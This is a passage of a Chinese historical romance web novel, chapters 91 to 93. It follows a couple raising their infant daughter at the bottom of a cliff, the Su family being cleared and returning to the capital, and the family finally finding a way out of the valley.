被胶着了一年多的战线折磨的苏家军士气大振,乘胜追击,杀得敌军溃败奔逃,死伤大半。 估计往后十年,再不成气候。 鸣金收兵之际,被苏琯璋和宣文晟派去漠北的第六波暗卫没有被拦截,顺利进入了漠北,便知漠北换了人掌控。 这波暗卫暗探军营,被苏印发现,顺势相认。 而这时,苏印才得知 宣文晟乃是前太子之子。于是便有了这间隔不到半日,单独给苏琯璋的第二封信。 苏琯璋念完信,宣槿妤才说完那句发自内心的钦佩之语,一直窝在父亲怀里安静地吃着小手的岚姐儿便“哇哇哇”地大叫了几声。 不止如此,她还十分兴奋地踩在她父亲腿上,几乎要蹦蹦跳跳起来,像是为她素未谋面的叔祖父在呐喊助威。 苏琯璋忙搂住她的小身子,无奈笑道:“才七个半月的小人儿,还不会爬,就想着跳了。” 岚姐儿虽然还不会爬,但已经会来回滚动了,每每在她的小竹床里翻来滚去,惊得落在围栏上的白隼小脑袋毛羽都炸起来好几次。 幸好当初苏琯璋给女儿打造这张小竹床的时候有考虑过这一点,不仅围栏做得结实安全,竹条打磨得极为光滑,在她三个月大学会翻身之后还用柔软的棉布将围栏全都围了起来,里头填充了棉絮。 故而岚姐儿在里头怎么闹腾,也不会弄伤她自己。 但是,岚姐儿在父母所睡的石床上可没有任何防护。 每每夫妻俩都不敢将她一人留在石床上,要么将她放回小竹床里,要么留下一人看着她。 即便是这样,岚姐儿也还是摔了一回。 90-100 第91章 第91章苏琯璋将避子药做出来了…… 宣槿妤摸了摸女儿额头上红肿未消的一个小鼓包,有些愧疚,又颇为无奈,“可不是,性子这样跳脱,日后会走了可还得了。” 前几日苏琯璋在小山洞里做饭,她留在石床上和岚姐儿玩耍。 但谁想岚姐儿本好好地坐在她腿上,非要躺回床上,然后“咕噜噜”地翻滚了起来,不过一个眨眼的功夫,她便滚到地上去了。 连救都来不及救,宣槿妤只能眼睁睁看着女儿脸朝地摔了个结结实实。 亏得石床不高,才只在她额头上摔了一个大鼓包,不然小脸着地的后果,才不会这样轻松。 那日可将宣槿妤吓坏了,苏琯璋听闻声响飞身回大山洞时,便见妻子抱着女儿,一大一小都哭得甚为凄惨。 也将他吓得不轻。 如今想起来,心里仍旧有些后怕。 “可不能再乱滚了,很疼对不对?”苏琯璋轻轻地揉着岚姐儿额头上的小鼓包,亲了亲她的小脑袋,被她已经长长的细软头发糊了一嘴。 岚姐儿皱了皱小眉头,转动着小脑瓜子,想要躲开爹爹的手,但却被娘亲摁住头,不给动了。 她嘴巴一瘪,大眼睛里便蓄了一汪水雾,像是下一瞬便要哇哇大哭起来。 但夫妻俩养了她七个半月,基本已经摸清了她的脾性。 他们这女儿就不是个爱哭的主儿,除了还小时饿了拉了会象征性地哭个几声,其余时候都只会哼哼唧唧的。 因着前几日摔的那一跤,才真正大哭了一回。 而后给她热敷、冷敷和按揉散鼓包时,她疼归疼,眼泪是真的,但不会哭出声来。 这会儿瞧着她甚为可怜的小模样,宣槿妤已经十分熟练地开始哄人,“岚姐儿乖,等爹爹给你揉完了就快好了,日后就不疼了。” 岚姐儿憋着泪花儿,等爹爹终于松开手,她便一头扎进他怀里,将眼泪蹭了他一身。 倒不是个会记仇的,被她爹爹揉得那样疼,还是要扑进他怀里。 宣槿妤哑然失笑。 “爹爹待会儿给你做鱼肉泥好不好?”苏琯璋摸着她毛绒绒的头,开始以食物引诱。 岚姐儿如今已经开始吃各种糊糊,米糊、面糊、果泥、肉泥、蔬菜泥,她都来之不拒,甚好养活。 今晨他抓到几尾不大不小的鱼,暂时养在小木盆里,如今还活蹦乱跳的,在大山洞里都能听到它们甩尾拍打在木盆里的“啪啪”声响。 这样鲜活的鱼儿制成的鱼肉泥,最是鲜美。 岚姐儿闻言,慢慢安静下来,抱住他的脖子,“啊啊啊”了几声,也不知是高兴了,还是在回应他。 夜间,宣槿妤涨奶涨得有些难受,翻来覆去睡不着。 苏琯璋伸手将她揽到自己怀里。 “又难受了?”他哑声问道,声音里未见睡意。 岚姐儿前几个月食量甚大,因着喂她,宣槿妤奶水一直十分充足。如今女儿已经开始尝试奶水以外的食物,喝奶的次数便少了。 宣槿妤自己又下不去手给自己挤奶,便都是让苏琯璋替她纾解涨奶之痛的。 白日里还不觉得有什么,夫妻俩都正正经经的。 但现下夜深人静,山洞里流水声潺潺,和着岚姐儿细微的呼吸声,便显得越发静谧。 再让他帮忙…… 宣槿妤支支吾吾的,想也不想便出声否认了,“不,不是。今日听闻二叔平安无事,我,我就是开心。” “嗯,我就是开心。”她强调道。 但说着,她的语气也顺畅许多,“二叔真的好厉害!”她由衷地钦佩道。 身为敌国主将,却敢只身一人混入人家皇宫、直面国君,不仅成功斩杀国君、亲王,搅得他国陷入内乱,他竟还能功成身退。 实在太了不起了。 苏琯璋轻笑出声,“嗯,二叔真的好厉害!” …… 宣槿妤咬着唇,忍着身上那处越来越难受的疼痛,没有再说话。 苏琯璋伸手朝她身上探去,很快摸到平素柔软如云团之处,此时发烫且发硬。 宣槿妤那处本就胀痛,被他一摸,力道再轻,也忍不住轻嘶了一声,眼中沁出了泪花儿。 苏琯璋心疼极了,“是不是很疼?”他吻了吻她的唇,压低了声音:“我来帮你?” 宣槿妤烫红了一张玉面,身子实在疼得慌,便再顾不得羞涩,轻声应了。 苏琯璋小心地护着她,带着她翻了个身,将她压在身下。 山洞里的烛火已经熄灭,仅有几线月光从缝隙里穿入,带来一两分光亮。 他摩挲着她绯红发烫的脸颊,声音低哑,“很快就好。” 须臾,汨汨流水声中,响起不急不缓的吞咽声。而后,又有几声压抑不住的娇吟声低低响起,但迅速消失在唇齿间。 宣槿妤仰着头,只觉得山洞外虫蛇鼠蚁窸窣声响比往日都大了几分。 苏琯璋将避子药做出来了,而宣槿妤前些时日也已出孝,夫妻俩又旷了一年有余…… 昏暗中,不知是谁先动的手,很快,单薄的中衣便被扔到地上。 …… 苏琯璋堵住宣槿妤的唇,将她的娇吟悉数咽下。片刻后,他声音压得极低,带着丝笑意,“嘘,莫吵醒了岚姐儿。” 宣槿妤抱着他的脖子,修剪得圆润的指甲控制不住地在他后背划过;因着过于用力的关系,到底在上头落下一道道细微划痕。 她的身子在止不住地颤抖着,被他越发用力地嵌入怀中。 岚姐儿已经戒了夜奶,亦早已可以睡整觉。此时她小拳头举在脸颊边,唇边扬起一抹甜甜的笑意,像是好梦正酣。 果真如苏琯璋所料,新帝盛誉恢复苏家人名誉,请人入京的圣旨在三日后抵达淮招县。 且是快马加鞭、六百里加急送过来的,一路吸足了朝野的视线,昭示了新帝对于苏家人的看重,表明了他的诚意。 如此一来,不明真相的百姓们便会被帝王感动,觉得他对待蒙冤的臣子及其家眷们,诚意十足。 苏声接完圣旨,送走客客气气的信使,心里嗤笑一声。 可真行,新帝姿态做得倒是充足。 漠北送军报入盛京城,八百里加急也不过三日,但漠北送信至淮招县,可是还多了三千里的路程。 新帝这是将军报压在案头多少日,拖到无可再拖之时,才压着怒气做出这样一番姿态来? 苏琯煜、苏琯绵、苏琯文和苏琯武他们都围了过来,“父亲/伯父。” 苏声回过神,“无事,先进去。” 他率先扶着苏老夫人进了大门,其余人紧跟其上。 “我们要回京了。” 宣文晟闻讯赶来时,便听苏声这样对他说道。 他想也不想便道:“苏伯父,我留在这里。” 不只是因着宣槿妤在这里的缘故,夺回帝位,谋划的许多细节都要他和苏琯璋确定。 而苏琯璋被困在崖底,信息掌握上都要靠着他们山外之人。如今二人仅靠着白隼往来通讯,本就十分不便,若他再离开,便更难谋划。 苏声盯着他看了好一会儿,才移开视线,“先将情况和璋小子说罢!” 崖底的夏日并不难过,相反,这里微风习习,很有几分凉意,驱散了炎热。 林子里许多果树上的果子都成熟了,芒果、桃子、葡萄、李子……等,竟还有盛京城中难见的荔枝。 鸟儿们可饱了口福,整日里在果树上叽叽喳喳的,山洞外面日日都十分热闹。 岚姐儿是个人来疯,见鸟儿在枝头跳跃,她也“哦哦哦”地叫嚷着,小身子扭成麻花儿,想要去抓鸟儿。 苏琯璋将刚写好的信放到白隼爪子上,摸了摸它的小脑袋,温声道:“劳烦你了。” 白隼朝他歪了歪头,很快展翅冲上蓝天。 眼见着白隼成为一个小点,又逐渐消失在视线尽头,宣槿妤忽而想起了她之前十分好奇的问题。 “为什么不用飞鸽传书?”她问道。 古有鸿雁传书,今有白隼替他们传信,她想起了曾经在苏琯璋给她淘回来的奇闻异事里边提到的飞鸽传书来。 山外的传信都是依靠暗卫们,但换马疾行,到底不如会飞翔的鸟类速度快。 虽然能够被人驯服的鸟儿,飞行速度都不如白隼,但总归比马儿奔跑来得快罢? “没那么容易。”苏琯璋答道,将她怀里扭个不停的岚姐儿接了过来,“飞鸽驯养倒是比矛隼驯养容易许多,但它们飞行能力较之过于逊色。” 而且,鸽子一般只能定点传送书信,人稍微偏离了原来的地点,它便容易找不到人,而丢失信件。 “鸽子在空中也有天敌,它们送信时万一被鹰隼盯上,十死无生。”这时信件便容易失落,万一被人捡了,可又是一出麻烦事。 他怀里的岚姐儿身子不扭了,打了个小哈欠,显然是困了。 苏琯璋熟练地轻轻拍打着她的背,边哄她睡觉,边对宣槿妤说道:“最重要的是,鸽子也容易被人盯上。” 大盛以武起家,并不拘一格。 太祖皇帝揭竿而起推翻前朝之时,所打的几场重要战役,便是提前蹲点敌方的飞鸽,截获他们的传书,再放个假消息回去。 苏琯璋说起这些时也一脸的坦然,“当然,史书上不会写这些,史官认为,这是不入流的手段。” 但兵家之争,赢了便好,史书还不都是由胜利者书写? 文人清高,不屑于这种技俩,但在他看来,只是掌握敌方通信的寻常手段而已,哪里就不入流了? 人为截获信使,致使敌方书信往来受阻或受到迷惑,不也是一样的手段么?只不过,狩猎的对象从鸽子变成人罢了。 他们莫不是以为,鸽子还比人高贵了? 苏琯璋摸了摸对他笑得甜蜜蜜女儿的小脑袋,有些无奈,都困了还不睡? “她喜欢听我们说话。”宣槿妤对这一幕看在眼中,拉着他的衣袖,转身往山洞里走去,“先将她哄睡再说罢!” 困了还不睡,要听爹娘说话,可别困劲儿过了睡不成,下午就得睡到晚上,那今夜他们谁也别想歇息了。 也是自己亲自养孩子了才知道,原来养个孩子竟是这样艰难的事。 一家三口回到山洞中,双双陪着岚姐儿躺在床上,看她小哈欠打了一个又一个,才压抑不住睡意,沉沉睡去。 宣槿妤苏琯璋二人松了口气,相视一眼,忍不住都无声地笑了起来。 将岚姐儿放在小竹床上,二人也没起身,就着躺在床上的姿势低声说起话来。 苏琯璋说起方才未完的话题,“大盛建立之后,虽然飞鸽传书也没有受到影响,一些风雅之士也喜欢用。” “但世家多数都知道那段历史,重要的通信往来,都不会交给飞鸽。” 最保险的,当然还是人。 且人会随机应变,真遇到危险,避无可避之时,也能及时将信件销毁,不至于落到敌方手中。 “白隼是个例外。”他说,“它在那时候出现,只能说,是一种缘分。” 宣槿妤十分感慨,“确实。” “他们都要走了。”说着她神色便有些落寞,“日后岚姐儿每月的小像他们可都要很久才能收到了。” 且飞鸽传书已经被他们排除,日后通信,便基本都是依靠暗卫们快马往返,通讯频率便也得下降。 往日还有家人频繁的传书关心,让她不至于觉得他们一家三口被遗忘在这崖底。但一旦他们都回京了,他们便也只能改为每月通信,那便十分难熬了。 苏琯璋摸了摸她的脸,还未说些什么,便见她脸上又高兴起来,“但他们都能回京了,真好!哪里都不如家里舒服。” 最重要的是,苏家人洗清了“通敌叛国”的罪名,往后便可堂堂正正地出现在人前。 而不是像这半年里,只待在一座宅子里,行动间都有所限制。 他们知道,苏家人都是为了他们一家三口,但世人并不明白真相。 在新帝的运作下,苏家人被冠上“抗旨不尊”的罪名,但被大度的帝王体恤他们失去亲人的不幸,允许他们继续待在淮招县找人。 苏家人在大盛的影响力是有些,但离漠北越远的地方影响力越淡。 到了淮招县这样的地方,百姓们便只偶尔听闻苏家军的威名,到底不曾经历过战事带来的伤害,无法感同身受。 他们更多的,是认可那把龙椅上的人。 于是,这半年间,淮招县谣言四起,道是苏家人不仅不感恩新帝当初饶恕他们诛三族的罪过,只判了流放;反倒冥顽不灵,继续拒绝南下去广虚府。 实在是罪孽深重。 百姓们都知道淮招县郊外宅子里住的是苏家人,初时谣言刚起的时候可没少人到宅子外扔臭鸡蛋和烂菜叶,被侍卫们阻止之后,才被吓退了。 但这又加剧了他们对苏家人的坏印象,扬言不会将粮食、布匹等生活必需品卖给他们。 好在商队的人机灵,经得宣文晟同意,早早便从宅子里搬了出去,才能如常地在淮招县内采买东西,供宅子里的人吃用。 不过后来,在有心人的宣扬下,城中的百姓们也都知道了商队和宅子里的人是一伙儿的,也拒绝将物资卖给他们。 商队只得出淮招县,翻山越岭,到临县采买物资。 都将他们逼到这种程度了,百姓们还是不甘心。甚至有人专程越过高山,到临县劝阻商铺卖东西给商队。 第92章 第92章羞愧,他们实在没脸见人…… 不过幸好,临县的商铺老板要挣钱,也通情达理许多,没有理会淮招县过来的百姓,如常将粮食布匹等东西都卖了出去。 商队返程时,有一次还遇到了拦路的百姓们,胡搅蛮缠,要将他们采买回来的东西都扔到崖底。 幸好商队有侍卫随行,还有身手极佳的暗卫在暗中保护,见状,出手将他们逼退了。 商队负责人扬声道:“若再如此,便官府见。”这样的拦路行径,报到官府,可以当成劫匪处理了。 官府之人再对百姓们种种挑衅、欺压苏家人的行为视而不见、听之任之,也到底担心会酿成匪祸,不会真放任不管。 百姓们生怕吃官司,更怕被官府当成劫匪抓进大牢而小命不保,这才消停了些时日。 不过,官府和百姓们都不知道的是,宣文晟一向教导商队有备无患,宅子里的物资足够他们几年吃用。 商队苦哈哈地一次次翻越高山,只是为了迷惑当地百姓而已。免得将他们逼急了,再在有心人推波助澜之下,集结起来围攻苏家人。 苏家人不惧流言蜚语,也不惧刀枪暗杀,只是,到底不愿意伤害这些被人蒙蔽的百姓们。 这些事,苏家人在信中是不会和苏琯璋宣槿妤提及的。 但是,宣文晟在写信时,被气急了偶尔也会透漏出一两句。 夫妻俩拼拼凑凑,便也将苏家人在外面的生活了解个大概,心里到底也不好受。 如今得知他们身上的冤屈被洗刷干净,得以回京,不必再在这里和被他利用的百姓们耗着,怎能不高兴? 圣旨下来,淮招县的百姓们得知自己这半年来一直冤枉亏待了朝中忠臣良将,心里如何愧疚难言不提,苏家人倒是已经将行李 细软收拾妥当了。 “祖母,您真的不和我们一起回京?”苏琯煜在苏老夫人面前蹲下身子,一向像是焊在脸上的笑容都没有了,露出面下真诚的底色。 苏老夫人摸了摸长孙的头,“璋小子、槿妤和岚姐儿还被困在崖底,不知何时才能出来。若我们都走了,留下他们,祖母哪里舍得。” “有暗卫们在,不会短缺他们物资的。”苏琯煜继续劝。 不止如此,既然还要继续瞒着崖底一家三口的存在,那么,日日进山搜寻的侍卫们便都不能撤走。 暗卫和侍卫们都是从苏家出来的,忠心自然不必怀疑;他们也足够稳妥,必定不会让小弟他们在生活上受限。 虽然他心里也同样舍不得,但祖母年纪毕竟摆在这里,去岁又摔过一跤,只母亲一人留下看护,他们哪里放心得下。 孤零零的两个女眷,便是身手再好,亦有暗卫侍卫们守护,但怎么可能放心得下? 苏老夫人语气很慈和,但却十分坚定,“不必多说了,祖母就是要留下。” 她转头看向许玉娘,“你也不必留下陪我,跟着孩子们回京罢!家里也离不得你。” 许玉娘是苏国公夫人,掌一家之事,缺席主人一年多的国公府,离不得当家主母。 但许玉娘依旧坚持,“我和娘留在这里,家里有二婶和几位媳妇儿在呢!哪里需要我操心?” 尤其许萱娘是世子夫人,嫁进来十年,也跟着她打理家务十年,更是在许她的放手下独自操持过不少重要家事。 便是只许萱娘一人,也能支撑起国公府内务。 许玉娘没甚可担心的。 苏老夫人拗不过长媳,便拉着她的手,拍了拍,当是同意了。 苏琯绵此时亦有些踌躇,“要不,我和孩子们也留下,陪着祖母和母亲罢?” 她本就是外嫁女,若非当初听闻狼袭之事,不放心一家子,且担心新帝牵连他们母子四人,她也不必从佟城一路赶来这淮招县。 来都来了,好不容易和家人团聚,她实在舍不得和母亲分开。 许玉娘有些无奈,“你都出来这么久了,便是不回国公府,佟城你也是要回的罢?” 她都带着孩子们离开佟城大半年了,就女婿一人孤零零的,只能待在军营里,不可怜么? “女婿日日对着个空荡荡的府邸,听说都不愿意回城了,你也好歹心疼他一些。”许玉娘说道。 她看向三个外孙,“孩子们也有大半年不见父亲了。” 苏老夫人也附和,劝她跟着回去。 苏琯绵才没再坚持。 只临走前,都快上马车了,又轮到苏二婶有些犹豫。她回头看婆母,“要不,我也留下来陪着娘?” 苏老夫人打了她一下,“说什么傻话?老二好不容易平安回来,你便是不愿意待在京中等他归来,也可以去漠北寻他。留在这里陪我算个什么事?” 老二失踪了多久,老二媳妇儿便为生死未卜的丈夫忧心了多久。便是她后来不再露出端倪,但亲人间相处这么多年,谁能看不出来呢? 只不过不敢提起,怕惹得苏二婶再添几分担心难过罢了! 苏老夫人那一巴掌力道不轻不重,但苏二婶不敢再说什么,便只好一步三回头地上了马车。 女眷和孩子们都上了马车,苏声和三兄弟正欲上马,便见宣文晟对着他们作了一揖,“多谢各位!” 苏家人皆被骇了一跳,站他旁边的苏琯文忙将人扶起来,“亲家三兄怎的这样多礼?” 宣文晟直起身时,眼圈都有些发红,只略略颔首,并没再说什么。 他知道,虽然圣旨已经下了,但是苏家人其实也并非一定要遵旨。一家子要这时候入京,只不过是为了他的大计。 尤其苏声和三兄弟,这一路还得依靠他们为自己的事费心。 若非这样,他们一家子也不必分离。 这份恩情,他记在心里了。 马车辘辘行驶,站在宅子大门前的苏老夫人、许玉娘和暗卫、侍卫们的身影逐渐变小,直至消失在视野中。 宽阔的官道两旁,不知站了多久的百姓们见到苏家人出现在眼前,怯怯地跪了下去。 “起来罢!”苏声下了马,连带着骑在马上的苏琯煜兄弟三个也一齐翻身下了马。 苏琯煜亲手扶起为首的一名老人,笑得温和,“老人家和他们说说,都起来罢!” 老人家老泪纵横,“这半年来,是我们对不住各位大人。” 不过是跪一跪,亦难消他们心头的不安和愧疚。 保家卫国的将军和他们一家,竟在他们淮招县落得个无米可买、无菜可购的境地,甚至险些被他们“强抢”米粮——只不过他们没有成功便是了。 这事若是传扬出去,他们一县的百姓,都要活在旁人的唾沫星子下。 再想想,他们都这样过分,要断人生路了,苏家人也还是没有对他们怎样,只言语威胁告官而已。 羞愧,他们实在没脸见人。 苏琯煜依旧笑着,替老人家拭了泪,笑容十分有感染力,“老人家想多了。我们当初确实有罪名在身,你们也不过是受人唆使,情有可原。不必放在心上。” 可不是罪名在身么?抗旨不遵呐! 直到一家子远去,马匹嗒嗒声再也听不见,一群人朝着老人围了过来。 “族长,当初陛下圣旨中,好似没有说苏家人通敌叛国罢?”一名书生打扮的人率先开口道。 老人回忆了一番,“确实没有。” 不仅如此,“便是苏家人没有南下去广虚府,也得了陛下口谕,体恤他们失去亲人的悲痛,说是待他们平复心绪之后再继续流刑。” 这大半年来,除了大雪封山实在进不去的那两日,其余时间,这家人的侍卫们何尝停止过进山寻人? 便是他们一家男丁,也都分批和侍卫们进过山。 想通这些,老人沉着脸,眼中是饱经世事后的沉淀,“是我们被有心人利用了。” 他吩咐起来,“六子,你去找找借住村头的那家人,还在不在。” 不愧为一族之长,一旦回过神来,便是雷厉风行。 “老五,你去县上问问,最先提起不卖苏家人米面的人是谁。” “老大,当初提议拦路不给采买回城的商队回来的那人,去看他的铺子还在不在县中。” …… 午时,一群人找到一处阴凉之地,埋锅造饭。 天气太热了,骑马的几个男人身上都湿了一片。 启哥儿拿着扇子,替祖父和父亲扇着,忽然问:“祖父、父亲,今晨你们为何要对那些百姓那样客气?” 分明他们对自己一家并不好,若非宣家三叔父早有准备,他们一家子连同一群暗卫和侍卫们都要饿死在宅子里。 听闻此言,正卖力替祖父/外祖父、父亲/舅舅他们扇扇子的其余孩子们,也都望了过来。 见状,苏声抬手招呼孩子们都坐到他身边。 “你们是不是和大哥哥一样,都是这么想的?”他温声问其余九个孩子。 孩子们面面相觑,很快,一个个都点了头。 最小的慕哥儿什么也不懂,见哥哥姐姐们都点了头,他便也跟着点头。 苏声捏了捏他的脸蛋儿,看着小孩子皱巴着一张小脸,才松开手。“那些百姓不过是遭人利用,以为我们一家不是好人,才那样做的。” 孩子们都小,他讲得十分通俗易懂,“就好比说,你们如果是卖米的商贩,可以自己决定卖不卖米给谁。一天你们遇到一群坏人,他们要找你们买米,你们卖不卖?” “不卖。”孩子们异口同声。 “嗯。”苏声颔首,“是这个道理。” 许萱娘将煮好的绿豆汤 端了过来,“都喝上一碗,消消暑罢!” 等孩子们都喝完了绿豆汤,苏声才继续说道:“你们记住,我们苏家人,刀枪剑戟都只能对准敌军,永远不能对准手无寸铁的百姓。” 他们苏家已经绵延了数百年,经久不衰。历经数朝,皆得朝野敬重。 不是因为他们忠君,才换回的荣誉;相反,他们苏家并不愚忠。 每逢改朝换代,他们都安然无恙,不过是因为他们懂得一朝天子一朝臣的道理。 他们忠的,永远是这万里河山,和生活在这锦绣山河中的百姓。 “听懂了吗?”苏声温和地问启哥儿。 不问其他孩子,是因为他从他们紧紧皱着的眉头上看出,他们没听懂。 启哥儿摇摇头,“祖父,我没全听懂。” 前边苏声举的例子很好懂,但后边说的什么忠不忠的,他不大明白。 只隐隐明白了,为什么外祖父和父亲轻易地就原谅了企图将他们饿死在宅子里的淮招县百姓们。 苏声摸了摸长孙的头,“没关系,日后你就会懂了。”他说。 七月,山壁后方的温泉水位开始下降,不过几日,便露出了暗灰色的的山岩。 初时,水位下降时还将正在浴池中沐浴的宣槿妤吓了一跳。 第93章 第93章恭迎公子、少夫人出山…… 苏琯璋当时正陪着岚姐儿在玩儿,听到山壁后方传来一声惊呼,没有多想,抄起岚姐儿就足部轻点,瞬间推开了山壁。 “槿妤,怎么了?”苏琯璋紧张地问。 宣槿妤抬眼看到他,再看看他怀中高高兴兴地对她笑的岚姐儿,愣了愣,红着脸将身子埋进水里。 虽然她平日里给岚姐儿喂奶的时候没有避着他,夜里她醒不来,岚姐儿要喝奶的时候他也是直接解开她衣襟让女儿喝的。 且自六月以来,他们也经常亲密,同浴也是常事。 但那都是发生在岚姐儿睡着之后的事。 如今,岚姐儿正一脸兴奋地对着她“啊啊啊”叫着,满眼的懵懂,让她怎么好意思面对她? “槿妤。”苏琯璋倒是没想太多,只担心地蹲下来,“方才发生什么事了?” 岚姐儿小脑袋被父亲转到后面,背对着娘亲,她凶凶地“啊”了一声。 见父亲没有领会到她的意思,倒也没生气,只咬着小手,嘴里叽里咕噜地说起些只有她自己才懂的话来。 宣槿妤的羞意被淹没在女儿奶声奶气的稚音里,她慢慢放松下来。 “你看温泉。”她说。 苏琯璋闻言,看过去时,便发现了问题,“温泉水位下降了。” 他单手抱着岚姐儿走过去,伸手去探,“水位还在持续下降。”他收回手,转头对宣槿妤道:“槿妤,你洗好了吗?” 宣槿妤点点头,他便继续说道:“先出来,我们再观察下温泉到底有什么情况。” 宣槿妤却没动,绯红着一张脸,在昏黄的烛火摇曳中,明眸潋滟,“你先带岚姐儿出去。”她嗔道。 苏琯璋意识到什么,眼神一晃。 “噢!”他难得结结巴巴,“我,我先出去。” 他深吸口气,慢慢站起身,捂着岚姐儿的眼睛退到山壁后,还贴心地背对着山壁口。 宣槿妤起身时滑落的水声、穿衣裳时的窸窣声落在他耳中,被无限放大,他心如擂鼓。 苏琯璋闭了闭眼,想将方才不小心瞥见的旖旎春色从脑中驱逐出去,毕竟,他怀里还抱着咿咿呀呀的女儿,这种想法是多么不合时宜。 但没什么用。 即便他方才没有瞥见,过去夫妻几年间的种种亲密已经刻在他脑中、落在他心上,赶不走,忘不掉。 更何况,他们二人,昨夜才亲密交合过。 苏琯璋有些口干舌燥,脑子里不受控制地想起她的美好来。 岚姐儿懵懵懂懂的,发觉自己“说”了小半天的话,但父亲不似以往那般及时和她玩儿,竟是没给半点回应。 她盯着苏琯璋好半晌,忽然,伸出小手“啪”地在他脸上拍了一记。 苏琯璋脑中方才那些旖旎情思,瞬间消散在这一小巴掌下。 疼倒是不怎么疼,只是…… 苏琯璋脸上霎那间落下的绯色也很快散去,他苦笑着捏了捏女儿的小脸儿,“你怎么还没忘记和白隼学的这招?” 岚姐儿不明所以,见父亲终于理她了,便冲他咯咯笑得甜甜蜜蜜的,小脑袋也靠过去,歪在他脖子上,蹭得他痒痒的。 苏琯璋心都要被她笑化了,亲了亲她的额头,“乖孩子。”他说。 宣槿妤站在山壁门口,将岚姐儿打她父亲一巴掌后,再亲亲热热地朝他撒娇的事看得清清楚楚。她失笑着将女儿接过来,“还以为你忘记了。” 她说了苏琯璋一样的话。 自外祖父辞世的消息传来,岚姐儿拍着宣槿妤的脸,试图为她拭泪无果之后,过后这几个月,她都没有再做过这个动作。 他们是真的以为她忘记了。 “可能白隼拍打翅膀起飞时它也记住了,”苏琯璋猜测道。 温泉水位持续下降着,此时“咕噜噜”的气泡声有些明显。 不到一日的功夫,温泉所在的位置便已经成为一口大坑,温热而干燥。 翌日,苏琯璋从坑中跳上来,压抑着兴奋,对宣槿妤说:“槿妤,我们有望离开这里了。” 他们好像可以出去了。 第三日,是七月初七,乞巧节。 这一日一大早,住在山脚附近的村民们便发现,那些日日到崖底来寻人的侍卫们,身后还带了几辆马车。 老头子和往日一样捧着猪草回来,往后瞥了一眼,便惊呆了。 老婆子听闻声响打开院门,见老头子站在门口不动,觉得奇怪,“老头子,你怎的站在门口也不进来?” 老头子回过神,神神秘秘地朝妻子靠过去,“老婆子,你看看那马车上的两人,可都是贵人。” 老婆子循着他的视线看过去,随即发现,一名身手敏捷的夫人跳下马车,很快从里面车厢里扶出一位老夫人 二人身上衣着虽然瞧着并不鲜亮,但他们家中女儿嫁入城中,是布匹铺子的老板娘,他们也是有见识的人。 老夫妻俩自然看得出,两位夫人身上衣料的不凡来。 何况,他们都听说了,住在淮招县城外宅子里的,是盛京城苏国公府的人。 他们世世代代都生活在这淮招县里,见到的最大老爷不过是县衙里的县太爷,还是偶然升堂时他们远远瞥见的。 何曾见过更大的人物? 盛京城里的国公府,那可是他们往日做梦都没敢想遇见的人。 “嘘,她们望过来了,快别看了。”老婆子红着脸,将老头子拽进门去。 前几个月县里城民们和附近村民们做的事他们都听说了,可真是造孽啊!虽然他们一家子都没有掺和,但女儿他们家的布匹,可是也没敢卖给他们。 老夫妻俩后来得知真相,脸上可羞得慌。 山脚下马车旁。 许玉娘踢走脚边的碎石,对苏老夫人道:“娘,他们没那么快出来。您要不还是回马车上坐着等罢?” 七月天气已经渐渐开始转凉,但到底暑热还未散,太阳已经出来了,她担心老人的身子。 昨日收到苏琯璋来信,说是他们找到出来的路了,今日便可以带着妻女出山。 可将婆媳俩高兴坏了。 虽然苏琯璋信上说他们走出来也要些许时辰,让她们好好在宅子里等着便是。 但苏老夫人和许玉娘,都将近十个月没见苏琯璋、宣槿妤他们了,哪里耐得住性子在宅子里等着。 何况,她们还心心念念着她们那素未谋面的重孙女儿/孙女儿呢! 苏琯璋也猜到祖母和母亲必定不会听话地在宅子里等着,怕她们在山外久候,他也是天未亮就起了床。 做好早膳,他叫醒了宣槿妤。 宣槿妤只“嗯”了一声,睁开眼睛时,哪里有未醒的模样?看着也像是这一夜没什么睡的样子。 苏琯璋摸了摸她的脸,有些心疼,小声道:“今日可要好好睡一觉。” 夫妻俩都是,自昨日从温泉水褪去后留下的大坑中出去,发现连通的山道之后,回来便兴奋得不行,连苏琯璋这个一向情绪不外露的都一样。 二人昨夜几乎都没怎么睡,只静静相拥着,感受着彼此的温度和体息。 慢慢地,沉淀后的温情才逐渐将他们心中的激动压了下去,二人才迷迷糊糊睡了一会 儿。 用完早膳,最后确定无所遗漏之后,苏琯璋一手抱着睡梦中的岚姐儿,一手揽着宣槿妤便下了那个山岩大坑。 两个山洞里的草药之前都已经做成了丸药或者药粉,一部分托白隼送出了山外,一部分他们留着自用。 后来新晾晒炮制的草药,都还没来得及做成成药,昨日都被苏琯璋用竹箱子分门别类装了起来。 他们在这崖底,最值钱的便是这些草药了。 想当初,他们刚跌落这悬崖时,除了身上穿着的衣裳和之前藏在衣内的一柄匕首、一些药瓶,可再无其他东西。 如今再看,满满两个山洞的东西,可都是他们一点一点攒下来的;有从山外送来的,也有苏琯璋自己做的。 若说夫妻二人没有不舍,便是假得不能再假的假话。 这山洞里承载了他们一家三口美好的回忆,这些事物都是他们平淡却幸福生活的见证。 但穿过那道山岩大坑,夫妻二人并肩往山壁外头走的时候,谁也没有回过一次头。 太阳还没出来,但夏末秋初的天,也早早便亮了,足以视物。 白隼敛起翅膀,静静地站在苏琯璋肩头,也不好奇周遭的环境,只一味地盯着岚姐儿的睡颜看。 苏琯璋也没理会它,只小心地时不时轻声提醒宣槿妤注意脚下。 虽然昨日他已经用软剑清理出一条出山的路来,但到底脚下的碎石野草藤蔓过多,还有被清理得不那么彻底的荆棘丛,须得十分小心才行。 这夫妻二人拐右拐,又绕了几个弯,穿过一丛竹林,又经过一处瀑布,才在两山之间找到一条仅能并行两人的山道。 出了这条山道,再爬上一处小山坡,而后往山下走。在岩石野草丛中走了约莫一刻钟之后,一家三口终于走了出去。 而这时,一个半时辰已经过去,太阳早就升起。 白隼早在半个多时辰前,便已经不耐烦这样看着二人走路。 它在和睡醒的岚姐儿圆眼对圆眼,互视了好一会儿之后,就从苏琯璋肩头跳到了一棵树枝上,很快振翅冲上云霄。 估摸着它要么是撒欢去了,要么是先行一步去了淮招县的宅子里,宣槿妤和苏琯璋便也没将它的离去放在心上。 山中出口有一片十分高大的乔木林,挡住了山里山外的视线。 只二人衣角才露在乔木外,便听得熟悉的声音响起,“公子,少夫人!” 苏琯璋稍稍挪了身子,偏头一看,松了口气,扶在宣槿妤腰间的手微微用了力,“槿妤,再坚持一会儿,苏十二他们就在外面。” 因为怕出意外,夫妻俩这一路没敢停下。只中途岚姐儿饿了,他们才短暂停留,权当休息了,等喂完奶,便继续赶路。 